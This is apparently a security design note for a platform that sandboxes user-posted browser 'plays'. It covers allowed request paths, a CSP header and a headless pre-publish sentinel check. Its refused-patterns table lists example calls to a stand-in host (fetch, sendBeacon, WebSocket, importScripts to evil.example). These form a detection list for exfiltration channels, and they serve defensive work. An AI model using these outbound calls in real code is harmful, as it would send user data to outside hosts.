# Outbound fence

A play reaches a person only after these gates. Nothing on the play page tells them a check ran. There is no prompt, no report button, and no freeze dialog.

The hub reads the files, sets the response headers, and runs a headless-Chromium ready probe that fails immediately on a network-policy violation. The machine that publishes also runs a headless watch in `check.mjs` before it uploads.

## What a play may request

Allowed:

- A relative path in this package: `./vendor/main.js`, `vendor/a.json`, `../` is already an unsafe path and fails on its own.
- A same-origin path: `/sandbox/_ready.js`, `/user-play/<id>/cover.webp`.
- `blob:` and `data:`.
- `https://gitbrew-cdn.b-cdn.net/user-play/...` and `https://gitbrew-cdn.b-cdn.net/sandbox/...`.
- `fetch("https://gitbrew-cdn.b-cdn.net/user-play/" + id)` and the same shape for `/sandbox/`.
- `fetch("./model.glb")`, `import("./mod.js")`, `new Worker("./worker.js")`, `new Worker(URL.createObjectURL(blob))`.
- A string that is not the address of `fetch`, `sendBeacon`, `importScripts`, `import()`, `Worker`, or `xhr.open`. `"https://react.dev/errors/" + code`, a template that only mentions `https://example.com`, and `"https://gitbrew-cdn.b-cdn.net/" + path` (the sandbox ready rewrite) are not requests.

Refused. The publish check returns `SERVER:NO` on unit `remote`. Nothing is written and nothing is uploaded.

| source | result |
| --- | --- |
| `fetch("https://evil.example/x")` | `remote connect: fetch https://evil.example/x` |
| `w.fetch("https://evil.example/x")` | `remote connect` |
| `fetch("//evil.example/x")` | `remote connect` |
| `navigator.sendBeacon("https://evil.example/x")` | `remote connect: beacon` |
| `fetchTO(\`https://evil.example/x\`)` | `remote connect: fetch`. A wrapper whose name starts with `fetch` is the same call |
| `xhr.open("GET", "https://evil.example/x")` | `remote connect: xhr` |
| `importScripts("https://evil.example/w.js")` | `remote connect: importScripts` |
| `new Worker("https://evil.example/w.js")` | `remote connect: worker` |
| `new WebSocket("wss://evil.example")` and `new WebSocket(url)` | `remote websocket` |
| `new EventSource("https://evil.example")` | `remote eventsource` |
| `import("https://cdn.jsdelivr.net/pkg")` | `remote import` |
| `fetch("https://" + host)` and `` fetch(`https://${host}/x`) `` | `remote connect: fetch` |
| `import(\`https://${pkg}\`)`, `new Worker("https://" + host)`, `xhr.open("GET", "https://" + host)` | `remote connect` / `remote import` |
| css `url(https://evil.example/a.png)` and `@import "https://evil.example/a.css"` | `remote connect` |

A comment is not a request. `// fetch("https://evil.example")` and a string that only mentions `https://github.com/...` are allowed. `fetch(url)` where `url` is a variable is not a static hit. The response header refuses that call when the page is served. `check.mjs` sees it on the machine that publishes. The hub also checks runtime network policy in its mandatory ready probe.

`new WebSocket` and `new EventSource` are refused even when the address is this CDN. Plays do not open sockets.

The scan reads play HTML and text files ending in js, mjs, cjs, css, glsl, vert, frag, fs, vs. An html or svg file is read when play.html, or a js/css file that play.html loads, names that file. A pasted html page the play does not open is not a script the page runs. Bytes (images, audio, video, wasm, models) are not scanned.

## Response headers

The document people actually run is the CDN copy. Its header is:

```
sandbox allow-scripts allow-same-origin
default-src 'none'
script-src 'self' 'unsafe-inline' 'unsafe-eval' 'wasm-unsafe-eval' blob:
style-src 'self' 'unsafe-inline'
img-src 'self' data: blob:
font-src 'self' data:
media-src 'self' data: blob:
worker-src 'self' blob:
child-src 'self' blob:
frame-src 'self'
connect-src https://gitbrew-cdn.b-cdn.net blob: data:
base-uri 'self'
form-action 'none'
object-src 'none'
```

`allow-same-origin` stays on that document. The page's origin is the CDN host. Dropping the token makes an opaque origin, and a good WebGL post then cannot read its own images. The app frame is already a different origin from the hub, so this token does not hand the play the hub's cookies.

`connect-src` is `https://gitbrew-cdn.b-cdn.net` plus `blob:` and `data:`. `https` does not match `wss`, so a socket to that host is refused. The edge rule is one header for every play, so it cannot name a single post id. Paths outside this host are refused. `script-src` stays `'unsafe-inline'`, `'unsafe-eval'`, and `'wasm-unsafe-eval'` because posted engines use inline scripts, `eval`, and wasm. Remote script hosts are not in the list.

`Permissions-Policy` is `camera=()`, `microphone=()`, `geolocation=()`, `payment=()`, `usb=()`, `serial=()`, `bluetooth=()`, `hid=()`, `display-capture=()`.

The hub's own `/user-play` bytes stay `sandbox allow-scripts` with `connect-src 'none'`. Those bytes share the hub origin. `allow-same-origin` is not added there. A public GET redirects to the CDN, and the CDN header is the one above.

The app iframe keeps `allow-scripts allow-same-origin`. Removing `allow-same-origin` from that attribute makes the frame opaque and the same WebGL posts fail. The frame is already cross-origin to the app.

## Sentinel, on the machine that publishes

`check.mjs` runs this after the static check, the iPhone scan, and the ready clock have passed. It does not call `ready()` and it does not change the 1000 ms clock. The hub does not run it.

The page is opened headless for `SENTINEL_WINDOW_MS` (3000 ms) after the document parses. Navigation that does not finish in `SENTINEL_NAV_TIMEOUT_MS` (8000 ms) fails.

| failure | line | bar |
| --- | --- | --- |
| timeout | `sentinel timeout` | navigation past 8000 ms |
| outbound | `sentinel outbound: <url>` | a request that is not the probe origin, `blob:`, `data:`, or `https://gitbrew-cdn.b-cdn.net`. A socket is refused even on that host |
| main thread | `sentinel main-thread` | one stall ≥ 1500 ms, or stalls summing to ≥ 2500 ms. A stall is a heartbeat that arrives ≥ 50 ms late. A script that blocks parsing is one stall |
| cpu | `sentinel cpu` | 8 or more stalls of ≥ 50 ms |
| memory | `sentinel memory` | heap grows by ≥ 256 MB, or the heap passes 512 MB |

Heap is read when Chrome exposes `performance.memory`. A missing heap number is not a failure. The other four bars still apply.

A failure is `GITBREW-CHECK: FAIL`. `post.mjs` does not upload. The hub never sees that page. Its own check is the static scan above, plus the response headers. There is no step that looks for a browser and treats a missing one as a pass.